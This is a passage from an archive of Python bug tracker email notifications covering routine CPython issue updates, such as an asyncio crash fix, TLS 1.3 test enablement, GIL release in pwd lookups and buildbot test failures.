23 14:59:21 2018 From: report at bugs.python.org (Yury Selivanov) Date: Wed, 23 May 2018 18:59:21 +0000 Subject: [issue33623] Fix possible SIGSGV when asyncio.Future is created in __del__ In-Reply-To: <1527101746.49.0.682650639539.issue33623@psf.upfronthosting.co.za> Message-ID: <1527101961.06.0.682650639539.issue33623@psf.upfronthosting.co.za> Change by Yury Selivanov : ---------- keywords: +patch pull_requests: +6710 stage: -> patch review _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 23 15:18:18 2018 From: report at bugs.python.org (Andrew Svetlov) Date: Wed, 23 May 2018 19:18:18 +0000 Subject: [issue33624] Implement subclass hooks for asyncio abstract classes Message-ID: <1527103098.65.0.682650639539.issue33624@psf.upfronthosting.co.za> New submission from Andrew Svetlov : To make clean inheritance hierarchy of objects implemented by third-party loop implementations. Now is impossible to implement AbstractServer in C or Cython. See also https://github.com/MagicStack/uvloop/issues/131 ---------- components: asyncio messages: 317438 nosy: asvetlov, yselivanov priority: normal severity: normal status: open title: Implement subclass hooks for asyncio abstract classes type: enhancement versions: Python 3.8 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 23 15:21:25 2018 From: report at bugs.python.org (Yury Selivanov) Date: Wed, 23 May 2018 19:21:25 +0000 Subject: [issue33623] Fix possible SIGSGV when asyncio.Future is created in __del__ In-Reply-To: <1527101746.49.0.682650639539.issue33623@psf.upfronthosting.co.za> Message-ID: <1527103285.35.0.682650639539.issue33623@psf.upfronthosting.co.za> Change by Yury Selivanov : ---------- components: +asyncio nosy: +asvetlov _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 23 15:21:39 2018 From: report at bugs.python.org (Yury Selivanov) Date: Wed, 23 May 2018 19:21:39 +0000 Subject: [issue33623] Fix possible SIGSGV when asyncio.Future is created in __del__ In-Reply-To: <1527101746.49.0.682650639539.issue33623@psf.upfronthosting.co.za> Message-ID: <1527103299.16.0.682650639539.issue33623@psf.upfronthosting.co.za> Change by Yury Selivanov : ---------- type: -> crash _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 23 15:25:15 2018 From: report at bugs.python.org (Alexander Mohr) Date: Wed, 23 May 2018 19:25:15 +0000 Subject: [issue33565] strange tracemalloc results In-Reply-To: <1526611246.92.0.682650639539.issue33565@psf.upfronthosting.co.za> Message-ID: <1527103515.95.0.682650639539.issue33565@psf.upfronthosting.co.za> Alexander Mohr added the comment: actually, thinking about this more on my way to work, this should NOT be closed. The callstack I initially mentioned still has no explanation and we now know is not correct. It should either have listed something related to warnings, or nothing at all () or something like that. There is no documentation to describe this behavior, think about it, it would have to be something like: "tracemalloc may give completely irrelevant callstacks". So I think this callstack still needs to be explained, and either: 1) the module should be fixed so it would give something more relevant (to give developers some foothold to realize this was related to warnings 2) For this scenario the callstack should be removed, to inform the developer that they should manually track the allocations in gdb or with some other mechanism. It would be really nice to know what c-callstacks (with parameters) trigger this tracemalloc stack. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 23 15:55:36 2018 From: report at bugs.python.org (Serhiy Storchaka) Date: Wed, 23 May 2018 19:55:36 +0000 Subject: [issue33623] Fix possible SIGSGV when asyncio.Future is created in __del__ In-Reply-To: <1527101746.49.0.682650639539.issue33623@psf.upfronthosting.co.za> Message-ID: <1527105336.19.0.682650639539.issue33623@psf.upfronthosting.co.za> Serhiy Storchaka added the comment: Is the problem because traceback_extract_stack is NULL? But this will not fix the problem completely. For example calling repr() on a future can crash because of asyncio_future_repr_info_func == NULL. And many other operations use globals cleared in module_free(). ---------- nosy: +serhiy.storchaka _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 23 15:56:56 2018 From: report at bugs.python.org (Yury Selivanov) Date: Wed, 23 May 2018 19:56:56 +0000 Subject: [issue33623] Fix possible SIGSGV when asyncio.Future is created in __del__ In-Reply-To: <1527101746.49.0.682650639539.issue33623@psf.upfronthosting.co.za> Message-ID: <1527105416.15.0.682650639539.issue33623@psf.upfronthosting.co.za> Yury Selivanov added the comment: > Is the problem because traceback_extract_stack is NULL? It's not NULL, it's just a broken reference at that point. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 23 15:58:25 2018 From: report at bugs.python.org (Ned Deily) Date: Wed, 23 May 2018 19:58:25 +0000 Subject: [issue25612] nested try..excepts don't work correctly for generators In-Reply-To: <1447361959.0.0.839122121456.issue25612@psf.upfronthosting.co.za> Message-ID: <1527105505.49.0.682650639539.issue25612@psf.upfronthosting.co.za> Ned Deily added the comment: New changeset 508d7693bc09affd99fdaa4a321cc3da0638c8a0 by Ned Deily (Miss Islington (bot)) in branch '3.7': bpo-33612: Remove PyThreadState_Clear() assertion (GH-7069) (GH-7074) https://github.com/python/cpython/commit/508d7693bc09affd99fdaa4a321cc3da0638c8a0 ---------- nosy: +ned.deily _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 23 15:58:25 2018 From: report at bugs.python.org (Ned Deily) Date: Wed, 23 May 2018 19:58:25 +0000 Subject: [issue33612] Assertion failure in PyThreadState_Clear In-Reply-To: <1527059860.79.0.682650639539.issue33612@psf.upfronthosting.co.za> Message-ID: <1527105505.77.0.262363346258.issue33612@psf.upfronthosting.co.za> Ned Deily added the comment: New changeset 508d7693bc09affd99fdaa4a321cc3da0638c8a0 by Ned Deily (Miss Islington (bot)) in branch '3.7': bpo-33612: Remove PyThreadState_Clear() assertion (GH-7069) (GH-7074) https://github.com/python/cpython/commit/508d7693bc09affd99fdaa4a321cc3da0638c8a0 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 23 16:02:25 2018 From: report at bugs.python.org (Serhiy Storchaka) Date: Wed, 23 May 2018 20:02:25 +0000 Subject: [issue33623] Fix possible SIGSGV when asyncio.Future is created in __del__ In-Reply-To: <1527101746.49.0.682650639539.issue33623@psf.upfronthosting.co.za> Message-ID: <1527105745.46.0.682650639539.issue33623@psf.upfronthosting.co.za> Serhiy Storchaka added the comment: Then we should find what callable is NULL and fix the place where it is called. _PyObject_FastCallDict() should never be called with NULL. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 23 16:03:01 2018 From: report at bugs.python.org (William Grzybowski) Date: Wed, 23 May 2018 20:03:01 +0000 Subject: [issue33625] Disable GIL on getpwnam and getpwuid Message-ID: <1527105781.7.0.682650639539.issue33625@psf.upfronthosting.co.za> New submission from William Grzybowski : Hello, Currently the GIL is not disabled when calling pwd.getpwnam nor pwd.getpwuid. It could be the C library call may take some time for completion, especially when using third-party modules on the system (nss-ldap, nss-pgsql, sss, etc). Disabling GIL before calling them makes sure other threads can run in the meantime. ---------- components: Extension Modules messages: 317445 nosy: wg priority: normal severity: normal status: open title: Disable GIL on getpwnam and getpwuid versions: Python 3.6 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 23 16:04:00 2018 From: report at bugs.python.org (William Grzybowski) Date: Wed, 23 May 2018 20:04:00 +0000 Subject: [issue33625] Disable GIL on getpwnam and getpwuid In-Reply-To: <1527105781.7.0.682650639539.issue33625@psf.upfronthosting.co.za> Message-ID: <1527105840.03.0.682650639539.issue33625@psf.upfronthosting.co.za> Change by William Grzybowski : ---------- keywords: +patch pull_requests: +6711 stage: -> patch review _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 23 16:08:36 2018 From: report at bugs.python.org (Andrew Svetlov) Date: Wed, 23 May 2018 20:08:36 +0000 Subject: [issue33605] Detect accessing event loop from a different thread outside of _debug In-Reply-To: <1527015604.6.0.682650639539.issue33605@psf.upfronthosting.co.za> Message-ID: <1527106116.57.0.682650639539.issue33605@psf.upfronthosting.co.za> Andrew Svetlov added the comment: Heh, should we sacrifice performance? Documentation for asyncio explicitly states that the only safe interthreading call is `call_soon_threadsafe()`. If people use multithreaded environments with asyncio (Why? Usually `run_in_executor()` doesn't require communication with loop. Maybe they trying to do strange things like fetching web pages using aiohttp from Django application?) -- they should be aware of problems and consequences. Like threaded programming is potentially dangerous without locks and other things. I very doubt that correct asyncio program have problems like this. In opposite `call_soon()` is maybe the hottest path of asyncio, it should be as fast as possible. Any slowdown is not desirable. P.S. I believe teaching people to get rid of `run_until_complete()` but switching to `asyncio.run()` can help better than anything else. P.P.S. If a user wants to shoot in own leg -- nobody can stop it. Don't underestimate people's inventiveness. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 23 16:09:07 2018 From: report at bugs.python.org (Christian Heimes) Date: Wed, 23 May 2018 20:09:07 +0000 Subject: [issue33625] Disable GIL on getpwnam and getpwuid In-Reply-To: <1527105781.7.0.682650639539.issue33625@psf.upfronthosting.co.za> Message-ID: <1527106147.44.0.682650639539.issue33625@psf.upfronthosting.co.za> Christian Heimes added the comment: Since your patch is a bug fix, it can be back-ported to 2.7 and 3.6/3.7. ---------- nosy: +christian.heimes type: -> behavior versions: +Python 2.7, Python 3.7, Python 3.8 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 23 16:10:15 2018 From: report at bugs.python.org (Ned Deily) Date: Wed, 23 May 2018 20:10:15 +0000 Subject: [issue33618] Support TLS 1.3 In-Reply-To: <1527086323.78.0.682650639539.issue33618@psf.upfronthosting.co.za> Message-ID: <1527106215.79.0.682650639539.issue33618@psf.upfronthosting.co.za> Ned Deily added the comment: > Ned, Benjamin, are you OK with that? Just to be clear, you wish to merge a backport of PR 7079 for 3.7.0rc1? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 23 16:13:48 2018 From: report at bugs.python.org (Christian Heimes) Date: Wed, 23 May 2018 20:13:48 +0000 Subject: [issue33618] Support TLS 1.3 In-Reply-To: <1527086323.78.0.682650639539.issue33618@psf.upfronthosting.co.za> Message-ID: <1527106428.93.0.682650639539.issue33618@psf.upfronthosting.co.za> Christian Heimes added the comment: Yes, if that's ok with you. It's only documentation and test updates. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 23 16:13:55 2018 From: report at bugs.python.org (Serhiy Storchaka) Date: Wed, 23 May 2018 20:13:55 +0000 Subject: [issue32911] Doc strings no longer stored in body of AST In-Reply-To: <1519302007.93.0.467229070634.issue32911@psf.upfronthosting.co.za> Message-ID: <1527106435.83.0.682650639539.issue32911@psf.upfronthosting.co.za> Serhiy Storchaka added the comment: Maybe we will need to return to this issue in future and merge Inada's patch. IPython has been needed to add a workaround for this change. [1] And maybe Python will be needed to add that workaround if once it will add the support of pasting multiple complex statements without empty lines between. [1] https://github.com/ipython/ipython/issues/11133 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 23 16:18:06 2018 From: report at bugs.python.org (Ned Deily) Date: Wed, 23 May 2018 20:18:06 +0000 Subject: [issue33618] Support TLS 1.3 In-Reply-To: <1527086323.78.0.682650639539.issue33618@psf.upfronthosting.co.za> Message-ID: <1527106686.43.0.682650639539.issue33618@psf.upfronthosting.co.za> Ned Deily added the comment: As long as it doesn't break 1.0.2 and 1.1.0 support, sure :) ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 23 16:22:45 2018 From: report at bugs.python.org (Christian Heimes) Date: Wed, 23 May 2018 20:22:45 +0000 Subject: [issue33618] Support TLS 1.3 In-Reply-To: <1527086323.78.0.682650639539.issue33618@psf.upfronthosting.co.za> Message-ID: <1527106965.74.0.682650639539.issue33618@psf.upfronthosting.co.za> Christian Heimes added the comment: Tests with 1.0.2o and 1.1.0h are passing. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 23 16:24:53 2018 From: report at bugs.python.org (Christian Heimes) Date: Wed, 23 May 2018 20:24:53 +0000 Subject: [issue33618] Support TLS 1.3 In-Reply-To: <1527086323.78.0.682650639539.issue33618@psf.upfronthosting.co.za> Message-ID: <1527107093.23.0.682650639539.issue33618@psf.upfronthosting.co.za> Christian Heimes added the comment: New changeset 529525fb5a8fd9b96ab4021311a598c77588b918 by Christian Heimes in branch 'master': bpo-33618: Enable TLS 1.3 in tests (GH-7079) https://github.com/python/cpython/commit/529525fb5a8fd9b96ab4021311a598c77588b918 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 23 16:24:57 2018 From: report at bugs.python.org (miss-islington) Date: Wed, 23 May 2018 20:24:57 +0000 Subject: [issue33618] Support TLS 1.3 In-Reply-To: <1527086323.78.0.682650639539.issue33618@psf.upfronthosting.co.za> Message-ID: <1527107097.93.0.682650639539.issue33618@psf.upfronthosting.co.za> Change by miss-islington : ---------- pull_requests: +6713 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 23 16:41:22 2018 From: report at bugs.python.org (Ned Deily) Date: Wed, 23 May 2018 20:41:22 +0000 Subject: [issue33609] Document that dicts preserve insertion order In-Reply-To: <1527023250.35.0.682650639539.issue33609@psf.upfronthosting.co.za> Message-ID: <1527108082.86.0.682650639539.issue33609@psf.upfronthosting.co.za> Ned Deily added the comment: I agree with Yury's suggestions; the entry in the "Dictionary view objects" section, that Cheryl points to, is not sufficient. Is somebody willing to write a PR? ---------- priority: normal -> high stage: -> needs patch type: enhancement -> _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 23 16:49:14 2018 From: report at bugs.python.org (Christian Heimes) Date: Wed, 23 May 2018 20:49:14 +0000 Subject: [issue33618] Support TLS 1.3 In-Reply-To: <1527086323.78.0.682650639539.issue33618@psf.upfronthosting.co.za> Message-ID: <1527108554.64.0.682650639539.issue33618@psf.upfronthosting.co.za> Christian Heimes added the comment: New changeset 72ef4fc32b354f8e56eec64f4c15ac2e07d118be by Christian Heimes (Miss Islington (bot)) in branch '3.7': [3.7] bpo-33618: Enable TLS 1.3 in tests (GH-7079) (GH-7082) https://github.com/python/cpython/commit/72ef4fc32b354f8e56eec64f4c15ac2e07d118be ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 23 17:04:05 2018 From: report at bugs.python.org (Michael Selik) Date: Wed, 23 May 2018 21:04:05 +0000 Subject: [issue33463] Can namedtuple._asdict return a regular dict instead of OrderedDict? In-Reply-To: <1526009463.33.0.682650639539.issue33463@psf.upfronthosting.co.za> Message-ID: <1527109445.22.0.682650639539.issue33463@psf.upfronthosting.co.za> Michael Selik added the comment: I changed the PR to simply replace OrderedDict with dict. For the docs warnings, if I'm understanding correctly, those should be separate pulls for older branches? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 23 17:06:22 2018 From: report at bugs.python.org (Ned Deily) Date: Wed, 23 May 2018 21:06:22 +0000 Subject: [issue33614] Compilation of Python fails on AMD64 Windows8.1 Refleaks 3.x In-Reply-To: <1527078055.25.0.682650639539.issue33614@psf.upfronthosting.co.za> Message-ID: <1527109582.48.0.682650639539.issue33614@psf.upfronthosting.co.za> Ned Deily added the comment: > All the critical builds should forcibly rebuild it, so this isn't urgent, but I'll take a look next time I get a chance to work on the build files. It's more than a *bit* urgent since it is causing one of the 3.7 stable buildbots to fail to build and not run tests and we normally would not allow a release with stable buildbot failures. ---------- nosy: +ned.deily priority: normal -> release blocker _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 23 17:06:54 2018 From: report at bugs.python.org (STINNER Victor) Date: Wed, 23 May 2018 21:06:54 +0000 Subject: [issue33612] Assertion failure in PyThreadState_Clear In-Reply-To: <1527059860.79.0.682650639539.issue33612@psf.upfronthosting.co.za> Message-ID: <1527109614.35.0.682650639539.issue33612@psf.upfronthosting.co.za> STINNER Victor added the comment: Mark Shannon, the author of the assertion, approved my PR to remove the assertion: https://github.com/python/cpython/pull/7069#issuecomment-391342700 The initial issue, the failing assertion, has been fixed. Well, to be honest, I failed to reproduce Serhiy's use case using test_multiprocessing_fork, but I'm confident that the removal of the assertion fixed the bug ;-) ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 23 17:07:02 2018 From: report at bugs.python.org (Ned Deily) Date: Wed, 23 May 2018 21:07:02 +0000 Subject: [issue33614] Compilation of Python fails on AMD64 Windows8.1 Refleaks 3.x In-Reply-To: <1527078055.25.0.682650639539.issue33614@psf.upfronthosting.co.za> Message-ID: <1527109622.31.0.682650639539.issue33614@psf.upfronthosting.co.za> Change by Ned Deily : ---------- versions: +Python 3.7 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 23 17:07:51 2018 From: report at bugs.python.org (Ned Deily) Date: Wed, 23 May 2018 21:07:51 +0000 Subject: [issue33614] Compilation of Python fails on AMD64 Windows8.1 Refleaks 3.x In-Reply-To: <1527078055.25.0.682650639539.issue33614@psf.upfronthosting.co.za> Message-ID: <1527109671.28.0.682650639539.issue33614@psf.upfronthosting.co.za> Ned Deily added the comment: (for example, http://buildbot.python.org/all/#/builders/133/builds/251 ) ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 23 17:26:16 2018 From: report at bugs.python.org (STINNER Victor) Date: Wed, 23 May 2018 21:26:16 +0000 Subject: [issue27535] Ignored ResourceWarning warnings leak memory in warnings registries In-Reply-To: <1468720423.06.0.361257976034.issue27535@psf.upfronthosting.co.za> Message-ID: <1527110776.39.0.682650639539.issue27535@psf.upfronthosting.co.za> STINNER Victor added the comment: Alexander Mohr reported a memory leak in his code using botocore (Python client for Amazon S3): bpo-33565. His code emited ResourceWarning, but these warnings are ignored by default. The link between ignored warnings and a memory leak is non obvious. Serhiy: what do you think of backporting my _warnings change for the ignore action? ---------- resolution: fixed -> status: closed -> open _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 23 17:47:48 2018 From: report at bugs.python.org (STINNER Victor) Date: Wed, 23 May 2018 21:47:48 +0000 Subject: [issue33355] Windows 10 buildbot: 15 min timeout on test_mmap.test_large_filesize() In-Reply-To: <1524666296.0.0.682650639539.issue33355@psf.upfronthosting.co.za> Message-ID: <1527112068.18.0.682650639539.issue33355@psf.upfronthosting.co.za> STINNER Victor added the comment: test_mmap.test_large_offset() failed on x86 Windows7 3.7: http://buildbot.python.org/all/#/builders/111/builds/265 David Bolen: do you prefer to upgrade the VM to a faster account on Azure, or change the timeout? 0:41:01 [144/415/1] test_mmap crashed (Exit code 1) -- running: test_concurrent_futures (287 sec) Timeout (0:15:00)! Thread 0x00000b58 (most recent call first): File "D:\cygwin\home\db3l\buildarea\3.7.bolen-windows7\build\lib\test\test_mmap.py", line 754 in _make_test_file File "D:\cygwin\home\db3l\buildarea\3.7.bolen-windows7\build\lib\test\test_mmap.py", line 764 in test_large_offset (...) ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 23 17:50:41 2018 From: report at bugs.python.org (Eric Snow) Date: Wed, 23 May 2018 21:50:41 +0000 Subject: [issue33615] test__xxsubinterpreters crashed on x86 Gentoo Refleaks 3.x In-Reply-To: <1527078316.31.0.682650639539.issue33615@psf.upfronthosting.co.za> Message-ID: <1527112241.8.0.682650639539.issue33615@psf.upfronthosting.co.za> Eric Snow added the comment: FTR, this started happening after the following commit: commit 6d2cd9036c0ab78a83de43d1511befb7a7fc0ade Author: Eric Snow Date: Wed May 16 15:04:57 2018 -0400 bpo-32604: Improve subinterpreter tests. (#6914) Add more tests for subinterpreters. This patch also fixes a few small defects in the channel implementation. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 23 18:06:36 2018 From: report at bugs.python.org (Steve Dower) Date: Wed, 23 May 2018 22:06:36 +0000 Subject: [issue33614] Compilation of Python fails on AMD64 Windows8.1 Refleaks 3.x In-Reply-To: <1527078055.25.0.682650639539.issue33614@psf.upfronthosting.co.za> Message-ID: <1527113196.22.0.682650639539.issue33614@psf.upfronthosting.co.za> Steve Dower added the comment: Okay, I'll take a look now. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 23 18:07:44 2018 From: report at bugs.python.org (Ned Deily) Date: Wed, 23 May 2018 22:07:44 +0000 Subject: [issue33614] Compilation of Python fails on AMD64 Windows8.1 Refleaks 3.x In-Reply-To: <1527078055.25.0.682650639539.issue33614@psf.upfronthosting.co.za> Message-ID: <1527113264.37.0.682650639539.issue33614@psf.upfronthosting.co.za> Ned Deily added the comment: Steve: just a minute ago, zware out the win8.1 bot's repo and restarted a 3.7 build. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 23 18:08:07 2018 From: report at bugs.python.org (Ned Deily) Date: Wed, 23 May 2018 22:08:07 +0000 Subject: [issue33614] Compilation of Python fails on AMD64 Windows8.1 Refleaks 3.x In-Reply-To: <1527078055.25.0.682650639539.issue33614@psf.upfronthosting.co.za> Message-ID: <1527113287.34.0.682650639539.issue33614@psf.upfronthosting.co.za> Ned Deily added the comment: er, "cleaned out" ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 23 18:14:22 2018 From: report at bugs.python.org (David Bolen) Date: Wed, 23 May 2018 22:14:22 +0000 Subject: [issue33355] Windows 10 buildbot: 15 min timeout on test_mmap.test_large_filesize() In-Reply-To: <1524666296.0.0.682650639539.issue33355@psf.upfronthosting.co.za> Message-ID: <1527113662.77.0.682650639539.issue33355@psf.upfronthosting.co.za> David Bolen added the comment: The win7 builder isn't on Azure, so changing host type isn't an option at the moment. For my part, I'd prefer removing the largefile tests for that one rather than increasing timeout. The tests generate a huge amount of I/O, so my guess is it's just not practical in the current builder environment. I should note that unlike the win8/win10 builders, there have been no VM or host changes for the win7 builder in quite a while, so if these failures are recent, they can't necessarily be explained by test environment changes. With that said, the win7 builder is certainly resource constrained in terms of CPU and I/O so perhaps the tests were always marginal. Or perhaps the use of -j2 is exacerbating the situation depending on which pair of tests overlap with test_mmap. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 23 18:16:30 2018 From: report at bugs.python.org (Ned Deily) Date: Wed, 23 May 2018 22:16:30 +0000 Subject: [issue33355] Windows 10 buildbot: 15 min timeout on test_mmap.test_large_filesize() In-Reply-To: <1524666296.0.0.682650639539.issue33355@psf.upfronthosting.co.za> Message-ID: <1527113790.97.0.682650639539.issue33355@psf.upfronthosting.co.za> Ned Deily added the comment: Thanks, David. Yes, I think disabling "largefile" tests on that buildbot makes the most sense. We're working on it. ---------- nosy: +ned.deily _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 23 18:36:38 2018 From: report at bugs.python.org (STINNER Victor) Date: Wed, 23 May 2018 22:36:38 +0000 Subject: [issue32458] test_asyncio: test_start_tls_server_1() fails randomly In-Reply-To: <1514661650.99.0.213398074469.issue32458@psf.upfronthosting.co.za> Message-ID: <1527114998.61.0.682650639539.issue32458@psf.upfronthosting.co.za> STINNER Victor added the comment: test_start_tls_server_1() just failed on my Linux. It likely depends on the system load. ---------- nosy: +vstinner title: test_asyncio failures on Windows -> test_asyncio: test_start_tls_server_1() fails randomly _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 23 18:38:58 2018 From: report at bugs.python.org (STINNER Victor) Date: Wed, 23 May 2018 22:38:58 +0000 Subject: [issue33353] test_asyncio: test_sock_sendfile_mix_with_regular_send() hangs on FreeBSD In-Reply-To: <1524665310.44.0.682650639539.issue33353@psf.upfronthosting.co.za> Message-ID: <1527115138.82.0.682650639539.issue33353@psf.upfronthosting.co.za> Change by STINNER Victor : ---------- keywords: +patch pull_requests: +6714 stage: -> patch review _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 23 18:38:58 2018 From: report at bugs.python.org (STINNER Victor) Date: Wed, 23 May 2018 22:38:58 +0000 Subject: [issue32622] Implement loop.sendfile In-Reply-To: <1517080969.81.0.467229070634.issue32622@psf.upfronthosting.co.za> Message-ID: <1527115138.94.0.0935424498089.issue32622@psf.upfronthosting.co.za> Change by STINNER Victor : ---------- pull_requests: +6715 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 23 18:39:21 2018 From: report at bugs.python.org (Antoine Pitrou) Date: Wed, 23 May 2018 22:39:21 +0000 Subject: [issue32458] test_asyncio: test_start_tls_server_1() fails randomly In-Reply-To: <1514661650.99.0.213398074469.issue32458@psf.upfronthosting.co.za> Message-ID: <1527115161.37.0.682650639539.issue32458@psf.upfronthosting.co.za> Change by Antoine Pitrou : ---------- nosy: -pitrou _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 23 18:56:11 2018 From: report at bugs.python.org (STINNER Victor) Date: Wed, 23 May 2018 22:56:11 +0000 Subject: [issue33353] test_asyncio: test_sock_sendfile_mix_with_regular_send() hangs on FreeBSD In-Reply-To: <1524665310.44.0.682650639539.issue33353@psf.upfronthosting.co.za> Message-ID: <1527116171.66.0.682650639539.issue33353@psf.upfronthosting.co.za> STINNER Victor added the comment: New changeset 2932755cc11fd82b4908d60b24b837aa4f3028e6 by Victor Stinner in branch 'master': bpo-33353: test_asyncio uses smaller sendfile data (#7083) https://github.com/python/cpython/commit/2932755cc11fd82b4908d60b24b837aa4f3028e6 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 23 18:56:12 2018 From: report at bugs.python.org (STINNER Victor) Date: Wed, 23 May 2018 22:56:12 +0000 Subject: [issue32622] Implement loop.sendfile In-Reply-To: <1517080969.81.0.467229070634.issue32622@psf.upfronthosting.co.za> Message-ID: <1527116172.16.0.262363346258.issue32622@psf.upfronthosting.co.za> STINNER Victor added the comment: New changeset 2932755cc11fd82b4908d60b24b837aa4f3028e6 by Victor Stinner in branch 'master': bpo-33353: test_asyncio uses smaller sendfile data (#7083) https://github.com/python/cpython/commit/2932755cc11fd82b4908d60b24b837aa4f3028e6 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 23 18:57:25 2018 From: report at bugs.python.org (miss-islington) Date: Wed, 23 May 2018 22:57:25 +0000 Subject: [issue33353] test_asyncio: test_sock_sendfile_mix_with_regular_send() hangs on FreeBSD In-Reply-To: <1524665310.44.0.682650639539.issue33353@psf.upfronthosting.co.za> Message-ID: <1527116245.55.0.682650639539.issue33353@psf.upfronthosting.co.za> Change by miss-islington : ---------- pull_requests: +6716 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 23 18:57:25 2018 From: report at bugs.python.org (miss-islington) Date: Wed, 23 May 2018 22:57:25 +0000 Subject: [issue32622] Implement loop.sendfile In-Reply-To: <1517080969.81.0.467229070634.issue32622@psf.upfronthosting.co.za> Message-ID: <1527116245.65.0.0935424498089.issue32622@psf.upfronthosting.co.za> Change by miss-islington : ---------- pull_requests: +6717 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 23 19:23:53 2018 From: report at bugs.python.org (STINNER Victor) Date: Wed, 23 May 2018 23:23:53 +0000 Subject: [issue33626] test_sendfile_fallback_close_peer_in_middle_of_receiving() fails on x86-64 Sierra 3.x Message-ID: <1527117833.42.0.682650639539.issue33626@psf.upfronthosting.co.za> New submission from STINNER Victor : http://buildbot.python.org/all/#/builders/14/builds/1023 ====================================================================== FAIL: test_sendfile_fallback_close_peer_in_middle_of_receiving (test.test_asyncio.test_events.KqueueEventLoopTests) ---------------------------------------------------------------------- Traceback (most recent call last): File "/Users/buildbot/buildarea/3.x.billenstein-sierra/build/Lib/test/test_asyncio/test_events.py", line 2474, in test_sendfile_fallback_close_peer_in_middle_of_receiving self.loop.sendfile(cli_proto.transport, self.file)) AssertionError: ConnectionError not raised ====================================================================== FAIL: test_sendfile_fallback_close_peer_in_middle_of_receiving (test.test_asyncio.test_events.PollEventLoopTests) ---------------------------------------------------------------------- Traceback (most recent call last): File "/Users/buildbot/buildarea/3.x.billenstein-sierra/build/Lib/test/test_asyncio/test_events.py", line 2474, in test_sendfile_fallback_close_peer_in_middle_of_receiving self.loop.sendfile(cli_proto.transport, self.file)) AssertionError: ConnectionError not raised ====================================================================== FAIL: test_sendfile_fallback_close_peer_in_middle_of_receiving (test.test_asyncio.test_events.SelectEventLoopTests) ---------------------------------------------------------------------- Traceback (most recent call last): File "/Users/buildbot/buildarea/3.x.billenstein-sierra/build/Lib/test/test_asyncio/test_events.py", line 2474, in test_sendfile_fallback_close_peer_in_middle_of_receiving self.loop.sendfile(cli_proto.transport, self.file)) AssertionError: ConnectionError not raised ---------- components: Tests, asyncio messages: 317472 nosy: asvetlov, vstinner, yselivanov priority: normal severity: normal status: open title: test_sendfile_fallback_close_peer_in_middle_of_receiving() fails on x86-64 Sierra 3.x versions: Python 3.8 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 23 19:26:46 2018 From: report at bugs.python.org (STINNER Victor) Date: Wed, 23 May 2018 23:26:46 +0000 Subject: [issue33216] [3.5] Wrong order of stack for CALL_FUNCTION_VAR and CALL_FUNCTION_VAR_KW In-Reply-To: <1522784543.83.0.467229070634.issue33216@psf.upfronthosting.co.za> Message-ID: <1527118006.68.0.682650639539.issue33216@psf.upfronthosting.co.za> Change by STINNER Victor : ---------- title: Wrong order of stack for CALL_FUNCTION_VAR and CALL_FUNCTION_VAR_KW -> [3.5] Wrong order of stack for CALL_FUNCTION_VAR and CALL_FUNCTION_VAR_KW _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 23 19:29:52 2018 From: report at bugs.python.org (Larry Hastings) Date: Wed, 23 May 2018 23:29:52 +0000 Subject: [issue33216] [3.5] Wrong order of stack for CALL_FUNCTION_VAR and CALL_FUNCTION_VAR_KW In-Reply-To: <1522784543.83.0.467229070634.issue33216@psf.upfronthosting.co.za> Message-ID: <1527118192.09.0.682650639539.issue33216@psf.upfronthosting.co.za> Larry Hastings added the comment: Serhiy, why did you mark this as a release blocker? This is a proposed documentation fix. ---------- priority: release blocker -> low _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 23 19:30:49 2018 From: report at bugs.python.org (STINNER Victor) Date: Wed, 23 May 2018 23:30:49 